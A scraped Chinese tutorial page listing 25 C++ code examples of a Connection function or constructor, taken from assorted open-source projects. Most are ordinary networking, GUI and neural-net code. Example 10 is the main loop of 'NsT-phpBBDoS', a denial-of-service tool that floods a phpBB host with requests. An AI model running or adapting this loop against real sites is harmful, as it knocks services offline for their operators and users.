您当前的位置:首页 > IT编程 > C++
| C语言 | Java | VB | VC | python | Android | TensorFlow | C++ | oracle | 学术与代码 | cnn卷积神经网络 | gnn | 图像修复 | Keras | 数据集 | Neo4j | 自然语言处理 | 深度学习 | 医学CAD | 医学影像 | 超参数 | pointnet | pytorch | 异常检测 | Transformers | 情感分类 | 知识图谱 |

自学教程:C++ Connection函数代码示例

51自学网 2021-06-01 20:13:25
  C++
这篇教程C++ Connection函数代码示例写得很实用,希望能帮到您。

本文整理汇总了C++中Connection函数的典型用法代码示例。如果您正苦于以下问题:C++ Connection函数的具体用法?C++ Connection怎么用?C++ Connection使用的例子?那么恭喜您, 这里精选的函数代码示例或许可以为您提供帮助。

在下文中一共展示了Connection函数的25个代码示例,这些例子默认根据受欢迎程度排序。您可以为喜欢或者感觉有用的代码点赞,您的评价将有助于我们的系统推荐出更棒的C++代码示例。

示例1: group

std::vector<std::unique_ptr<Group> > Group::ConstructLoopbackMesh(    size_t num_hosts) {    // construct a group of num_hosts    std::vector<std::unique_ptr<Group> > group(num_hosts);    for (size_t i = 0; i < num_hosts; ++i) {        group[i] = std::make_unique<Group>(i, num_hosts);    }    // construct a stream socket pair for (i,j) with i < j    for (size_t i = 0; i != num_hosts; ++i) {        for (size_t j = i + 1; j < num_hosts; ++j) {            LOG << "doing Socket::CreatePair() for i=" << i << " j=" << j;            std::pair<Socket, Socket> sp = Socket::CreatePair();            group[i]->connections_[j] = Connection(std::move(sp.first));            group[j]->connections_[i] = Connection(std::move(sp.second));            group[i]->connections_[j].is_loopback_ = true;            group[j]->connections_[i].is_loopback_ = true;        }    }    return group;}
开发者ID:ShauryaRawat,项目名称:thrill,代码行数:27,


示例2: OstTraceFunctionEntry0

/**Parses the PTPIP header, gets and validates that the packet type is correct and sets the value of the packet length.@return Type The PTPIP packet type received ie event or cancel. In case of invalid type, it returns 0*/   TInt CPTPIPEventHandler::ParsePTPIPHeaderL()	{	OstTraceFunctionEntry0( CPTPIPEVENTHANDLER_PARSEPTPIPHEADERL_ENTRY );		TUint32 type = Connection().ValidateAndSetEventPayloadL();	iPTPPacketLength = Connection().EventContainer()->Uint32L(CPTPIPGenericContainer::EPacketLength);		OstTraceFunctionExit0( CPTPIPEVENTHANDLER_PARSEPTPIPHEADERL_EXIT );	return type;	}
开发者ID:kuailexs,项目名称:symbiandump-mw3,代码行数:15,


示例3: printf

void SkyBoxConnector::keyPress(char key){	if(SCENE->camera->GetTarget() == (IGObject*)this->Connection())	{		if(key>='0' && key<'9')		{			if(lastKey!=key)			{				current=(key-48>=0 && key-48<=5)? key-48 : 6;				printf("SKYBOX: sellected wall: %s/n", wallNames[current]);			}			lastKey=key;		}		else if(key=='l')		{			if(lastKey!='l')			{				((SkyBox*)Connection())->LoadeHightMap(files[currentSellection],bumpmapchannel,current>5? -1:current);				if(++bumpmapchannel>3)				bumpmapchannel=0; 			}			lastKey='l';		}		else if(key=='x')		{			if(lastKey!='x')			{				currentSellection=currentSellection==5?0:currentSellection+1;				printf("Sellected Image: %s/n",files[currentSellection]);			}			lastKey='x';		}		else if(key=='r')		{			if(lastKey!='r')			{				((SkyBox*)Connection())->LoadeColorMap(files[currentSellection],current>5? -1:current);			}			lastKey='r';		}		else for(int i=0;i<6;i++)		{			current = i;			vConnection()->Get<VoxControl>()->keyPress(key);		}	}}
开发者ID:KallePower,项目名称:AlphaKlang,代码行数:48,


示例4: BasicTest

static void BasicTest(){	// Replace this URL with your own URL:	XmlRpcClient Connection("http://web.edval.com.au/rpc");	Connection.setIgnoreCertificateAuthority();	//Connection.setBasicAuth_Callback(PopUpAPrettyDialog);	Connection.setBasicAuth_UsernameAndPassword("foo", "goo");	//  Call:  arumate.getKilowatts(string, integer)   :	XmlRpcValue args, result;	args[0] = "test";	args[1] = 1;	// 	double g = 3.14159;	XmlRpcValue binary(&g, sizeof(g));	args[2] = binary;	XmlRpcValue::BinaryData bdata = binary;	// Replace this function name with your own:	if (! Connection.execute("getKilowatts", args, result)) {		std::cout << Connection.getError();	}	else if (result.getType() == XmlRpcValue::TypeString)		std::cout << result.GetStdString();	else std::cout << "Success/n";}
开发者ID:drtimcooper,项目名称:XmlRpc4Win,代码行数:27,


示例5:

Neuron::Neuron(unsigned numberOutputs, unsigned index,  const string &transferFunction) {    for (unsigned c = 0; c < numberOutputs; c++) {        outputWeights.push_back(Connection());    }    this->index=index;    this->transferFunction=transferFunction;}
开发者ID:jizhihang,项目名称:neuralNet,代码行数:7,


示例6: Connection

void ConnectionManager::addConnection(SIN& addr) {	std::map<SIN, Connection>::iterator it;	if ((it = conn_map.find(addr)) == conn_map.end())		conn_map.insert(ConnectionRecord(addr, Connection(parent, *this, addr)));	else		throw CONN_DUP;}
开发者ID:williamd4112,项目名称:NPP_HW2,代码行数:7,


示例7: Enum

const std::vector<std::string> Environment::ScanPorts() const{    std::vector<std::string> validNames;    std::string portName;    for(unsigned int i = 1; i < 17; i++)    {        portName = "Com";        portName.append( boost::lexical_cast<std::string>(i));        #ifdef SERIALCONNECTION_DEBUG            std::cout << "Trying port name: " << portName << "...";        #endif // SERIALCONNECTION_DEBUG        SerialDeviceEnumeration Enum(portName, 9600);        SerialConnection Connection(io_service, Enum);        if( !Connection.Connect() )        {            #ifdef SERIALCONNECTION_DEBUG                std::cout << "valid./n";            #endif // SERIALCONNECTION_DEBUG            validNames.push_back(portName);        }        else        {            #ifdef SERIALCONNECTION_DEBUG                std::cout << "invalid./n";            #endif // SERIALCONNECTION_DEBUG        }        Connection.Disconnect();    }    return validNames;}
开发者ID:MLPaladin888,项目名称:DataPlotter,代码行数:31,


示例8: Connection

Connection Signal<_Res (_ArgTypes...), Combiner>::connect(const SlotType& _slot){  auto newConnectionBody = std::make_shared<ConnectionBodyType>(_slot);  mConnectionBodies.insert(newConnectionBody);  return Connection(std::move(newConnectionBody));}
开发者ID:erwincoumans,项目名称:dart,代码行数:7,


示例9: NETLIST_OBJECT

void SCH_TEXT::GetNetListItem( NETLIST_OBJECT_LIST& aNetListItems,                               SCH_SHEET_PATH*      aSheetPath ){    if( GetLayer() == LAYER_NOTES || GetLayer() == LAYER_SHEETLABEL )        return;    NETLIST_OBJECT* item = new NETLIST_OBJECT();    item->m_SheetPath = *aSheetPath;    item->m_SheetPathInclude = *aSheetPath;    item->m_Comp = (SCH_ITEM*) this;    item->m_Type = NET_LABEL;    if( GetLayer() == LAYER_GLOBLABEL )        item->m_Type = NET_GLOBLABEL;    else if( GetLayer() == LAYER_HIERLABEL )        item->m_Type = NET_HIERLABEL;    item->m_Label = m_Text;    item->m_Start = item->m_End = GetTextPos();    aNetListItems.push_back( item );    // If a bus connects to label    if( Connection( *aSheetPath )->IsBusLabel( m_Text ) )    {        item->ConvertBusToNetListItems( aNetListItems );    }}
开发者ID:johnbeard,项目名称:kicad,代码行数:28,


示例10: main

int main(int argc, char *argv[]){    int sock, x = 0;    char *Path = argv[1], *Pro_Sea = argv[2], *Host = argv[3];    puts("[+] NsT-phpBBDoS v0.1 by HaCkZaTaN");    puts("[+] NeoSecurityTeam");    puts("[+] Dos has begun....[+]/n");    fflush(stdout);    if(argc != 4) Use(argv[0]);    while(1)    {           sock = Connection(Host,80);           Write_In(sock, Path, Pro_Sea, Host, x);           #ifndef WIN32           shutdown(sock, SHUT_WR);           close(sock);           #else           closesocket(sock);           WSACleanup();           #endif           Pro_Sea = argv[2];           x++;    }    //I don't think that it will get here =)     return 0;}
开发者ID:0x24bin,项目名称:exploit-database,代码行数:30,


示例11: MOZ_ASSERT

nsresultTLSFilterTransaction::ReadSegments(nsAHttpSegmentReader *aReader,                                   uint32_t aCount, uint32_t *outCountRead){  MOZ_ASSERT(PR_GetCurrentThread() == gSocketThread);  LOG(("TLSFilterTransaction::ReadSegments %p max=%d/n", this, aCount));  if (!mTransaction) {    return NS_ERROR_UNEXPECTED;  }  mReadSegmentBlocked = false;  mSegmentReader = aReader;  nsresult rv = mTransaction->ReadSegments(this, aCount, outCountRead);  LOG(("TLSFilterTransaction %p called trans->ReadSegments rv=%x %d/n",       this, rv, *outCountRead));  if (NS_SUCCEEDED(rv) && mReadSegmentBlocked) {    rv = NS_BASE_STREAM_WOULD_BLOCK;    LOG(("TLSFilterTransaction %p read segment blocked found rv=%x/n",         this, rv));    Connection()->ForceSend();  }  return rv;}
开发者ID:ashishrana7,项目名称:firefox,代码行数:25,


示例12: disconnecT

/******************************************************************************* Disconnect from the timer. The timer is stopped if no longer needed.*/void SynchTimer::disconnecT(QObject* receiver, const char* member){    if (mTimer)    {        mTimer->disconnect(receiver, member);        if (member)        {            int i = mConnections.indexOf(Connection(receiver, member));            if (i >= 0)                mConnections.removeAt(i);        }        else        {            for (int i = 0;  i < mConnections.count();  )            {                if (mConnections[i].receiver == receiver)                    mConnections.removeAt(i);                else                    ++i;            }        }        if (mConnections.isEmpty())        {            mTimer->disconnect();            mTimer->stop();        }    }}
开发者ID:chusopr,项目名称:kdepim-ktimetracker-akonadi,代码行数:31,


示例13: req

/**Sends a response to the initiator.@param aCode MTP response code*/void CMTPGetObjectPropsSupported::SendResponseL(TUint16 aCode)    {    const TMTPTypeRequest& req(Request());    iResponse.SetUint16(TMTPTypeResponse::EResponseCode, aCode);    iResponse.SetUint32(TMTPTypeResponse::EResponseSessionID, req.Uint32(TMTPTypeRequest::ERequestSessionID));    iResponse.SetUint32(TMTPTypeResponse::EResponseTransactionID, req.Uint32(TMTPTypeRequest::ERequestTransactionID));    iFramework.SendResponseL(iResponse, req, Connection());    }
开发者ID:kuailexs,项目名称:symbiandump-mw3,代码行数:12,


示例14: Connection

bool MysqlCon::CheckConnection(){	if (NULL == m_mysql)	{		return Connection();	}	return m_isConnect;}
开发者ID:czfsvn,项目名称:LinuxC,代码行数:8,


示例15: randomWeight

Neuron::Neuron(unsigned numOutputs, unsigned myIndex){    for (unsigned c = 0; c < numOutputs; ++c) {        m_outputWeights.push_back(Connection());        m_outputWeights.back().weight = randomWeight();    }    m_myIndex = myIndex;}
开发者ID:NullCodex,项目名称:EnviroSim,代码行数:9,


示例16: assert

Connection SignalLinkBase::connect(const Wt::Core::observable *object){  assert (!connected_);  connected_ = true;  obj_.reset(object);  return Connection(this);}
开发者ID:AlexanderKotliar,项目名称:wt,代码行数:9,


示例17: CViewContainer

	GuiGraphicsView::GuiGraphicsView(const CRect& size, const int& numberOfModules, CBaseObject* editor)	: CViewContainer(size), numberOfModules(numberOfModules), editor(editor) {		modules.resize(numberOfModules);		connections = new GuiGraphicsConnections(size, numberOfModules);		connections->setMouseEnabled(false);		this->addView(connections);		drawnConnection = Connection();		moduleClicked = 0;	}
开发者ID:andnich05,项目名称:reverbnetwork,代码行数:9,


示例18: ib_conn_create

Connection Connection::create(Engine engine){    ib_conn_t* ib_conn;    Internal::throw_if_error(        ib_conn_create(engine.ib(), &ib_conn, NULL)    );    return Connection(ib_conn);}
开发者ID:BillTheBest,项目名称:ironbee,代码行数:10,


示例19: Connection

Neuron::Neuron( unsigned numOutputs, unsigned weightIndex ){    for( unsigned c = 0; c < numOutputs; ++c )    {        _outputWeights.push_back( Connection() );        _outputWeights.back().setWeight( randomWeight() );    }    _weightIndex = weightIndex;}
开发者ID:JeremySavonet,项目名称:neural-net,代码行数:10,


示例20: Connection

Connection Collection::connectPostChanged(ElementPostChangedCallback callback){	if (impl_)	{		return impl_->connectPostChanged(callback);	}	else	{		return Connection();	}}
开发者ID:wgsyd,项目名称:wgtf,代码行数:11,


示例21: FATAL_LOG

int Client::connect(const InetAddress& addr) {    if (mEpoller == NULL || mLoop == NULL || mSock == NULL) {        FATAL_LOG("new obj failed");        return false;    }    mEpoller->createEpoll();    mConnection = NEW Connection(mSock, mLoop);    mEpoller->addRW(mConnection);    return mSock->connect(addr);}
开发者ID:dycforever,项目名称:netlib,代码行数:11,


示例22: AdvancedTest

static void AdvancedTest(){	XmlRpcValue args, result;	// Passing datums:	args[0] = "a string";	args[1] = 1;	args[2] = true;	args[3] = 3.14159;	struct tm timeNow;	args[4] = XmlRpcValue(&timeNow);	// Passing an array:	XmlRpcValue array;	array[0] = 4;	array[1] = 5;	array[2] = 6;	args[5] = array;	// Note: if there's a chance that the array contains zero elements,	// you'll need to call:	//      array.initAsArray();	// ...because otherwise the type will never get set to "TypeArray" and	// the value will be a "TypeInvalid".	// Passing a struct:	XmlRpcValue record;	record["SOURCE"] = "a";	record["DESTINATION"] = "b";	record["LENGTH"] = 5;	args[6] = record;	// We don't support zero-size struct's...Surely no-one needs these?	// Make the call:	XmlRpcClient Connection("https://61.95.191.232:9600/arumate/rpc/xmlRpcServer.php");	Connection.setIgnoreCertificateAuthority();	if (! Connection.execute("arumate.getMegawatts", args, result)) {		std::cout << Connection.getError();		return;	}	// Pull the data out:	if (result.getType() != XmlRpcValue::TypeStruct) {		std::cout << "I was expecting a struct.";		return;	}	int i = result["n"];	std::string s = result["name"];	array = result["A"];	for (int i=0; i < array.size(); i++)		std::cout << (int)array[i] << "/n";	record = result["subStruct"];	std::cout << (std::string)record["foo"] << "/n";}
开发者ID:drtimcooper,项目名称:XmlRpc4Win,代码行数:53,


示例23: lock

//--------------------------------------------------------------------------- void WtBroadcastServer::Connect(   WtBroadcastServerClient * const client,   const boost::function<void()>& function){  std::lock_guard<std::mutex> lock(m_mutex);  m_connections.push_back(    Connection(      Wt::WApplication::instance()->sessionId(),      client,      function));}
开发者ID:RLED,项目名称:ProjectRichelBilderbeek,代码行数:13,


示例24: QString

void DataManipulationForm::retrievePKColumns(const QString &schema, const QString &table){  Catalog catalog;  Connection conn=Connection(tmpl_conn_params);	try	{		vector<attribs_map> pks;		ObjectType obj_type=static_cast<ObjectType>(table_cmb->currentData().toUInt());		if(obj_type==OBJ_VIEW)		{			warning_frm->setVisible(true);			warning_lbl->setText(trUtf8("Views can't have their data handled through this grid, this way, all operations are disabled."));		}		else		{      catalog.setConnection(conn);			//Retrieving the constraints from catalog using a custom filter to select only primary keys (contype=p)      pks=catalog.getObjectsAttributes(OBJ_CONSTRAINT, schema, table, {}, {{ParsersAttributes::CUSTOM_FILTER, QString("contype='p'")}});      catalog.closeConnection();      warning_frm->setVisible(pks.empty());			if(pks.empty())				warning_lbl->setText(trUtf8("The selected table doesn't owns a primary key! Updates and deletes will be performed by considering all columns as primary key. <strong>WARNING:</strong> those operations can affect more than one row."));		}		hint_frm->setVisible(obj_type==OBJ_TABLE);		add_tb->setEnabled(obj_type==OBJ_TABLE);		pk_col_ids.clear();		if(!pks.empty())		{			QStringList col_str_ids=Catalog::parseArrayValues(pks[0][ParsersAttributes::COLUMNS]);			for(QString id : col_str_ids)				pk_col_ids.push_back(id.toInt() - 1);		}		//For tables, even if there is no pk the user can manipulate data		if(obj_type==OBJ_TABLE)			results_tbw->setEditTriggers(QAbstractItemView::DoubleClicked | QAbstractItemView::AnyKeyPressed);		else			results_tbw->setEditTriggers(QAbstractItemView::NoEditTriggers);	}	catch(Exception &e)	{    catalog.closeConnection();		throw Exception(e.getErrorMessage(), e.getErrorType(),__PRETTY_FUNCTION__,__FILE__,__LINE__, &e);	}}
开发者ID:InnovaMex,项目名称:pgmodeler,代码行数:52,


示例25: QPixmap

void DataManipulationForm::listObjects(QComboBox *combo, vector<ObjectType> obj_types, const QString &schema){  Catalog catalog;  Connection conn=Connection(tmpl_conn_params);	try	{		attribs_map objects;		QStringList items;		int idx=0, count=0;    catalog.setConnection(conn);		catalog.setFilter(Catalog::LIST_ALL_OBJS);		combo->blockSignals(true);		combo->clear();    for(auto &obj_type : obj_types)		{			objects=catalog.getObjectsNames(obj_type, schema);      for(auto &attr : objects)				items.push_back(attr.second);			items.sort();			combo->addItems(items);			count+=items.size();			items.clear();			for(; idx < count; idx++)			{        combo->setItemIcon(idx, QPixmap(QString(":/icones/icones/") + BaseObject::getSchemaName(obj_type) + QString(".png")));				combo->setItemData(idx, obj_type);			}			idx=count;		}    if(combo->count()==0)			combo->insertItem(0, trUtf8("No objects found"));		else			combo->insertItem(0, trUtf8("Found %1 object(s)").arg(combo->count()));		combo->setCurrentIndex(0);		combo->blockSignals(false);    catalog.closeConnection();	}	catch(Exception &e)	{    catalog.closeConnection();		throw Exception(e.getErrorMessage(), e.getErrorType(),__PRETTY_FUNCTION__,__FILE__,__LINE__, &e);	}}
开发者ID:InnovaMex,项目名称:pgmodeler,代码行数:52,



注:本文中的Connection函数示例整理自Github/MSDocs等源码及文档管理平台,相关代码片段筛选自各路编程大神贡献的开源项目,源码版权归原作者所有,传播和使用请参考对应项目的License;未经允许,请勿转载。


C++ ConnectionNumber函数代码示例
C++ Connected函数代码示例
万事OK自学网:51自学网_软件自学网_CAD自学网自学excel、自学PS、自学CAD、自学C语言、自学css3实例,是一个通过网络自主学习工作技能的自学平台,网友喜欢的软件自学网站。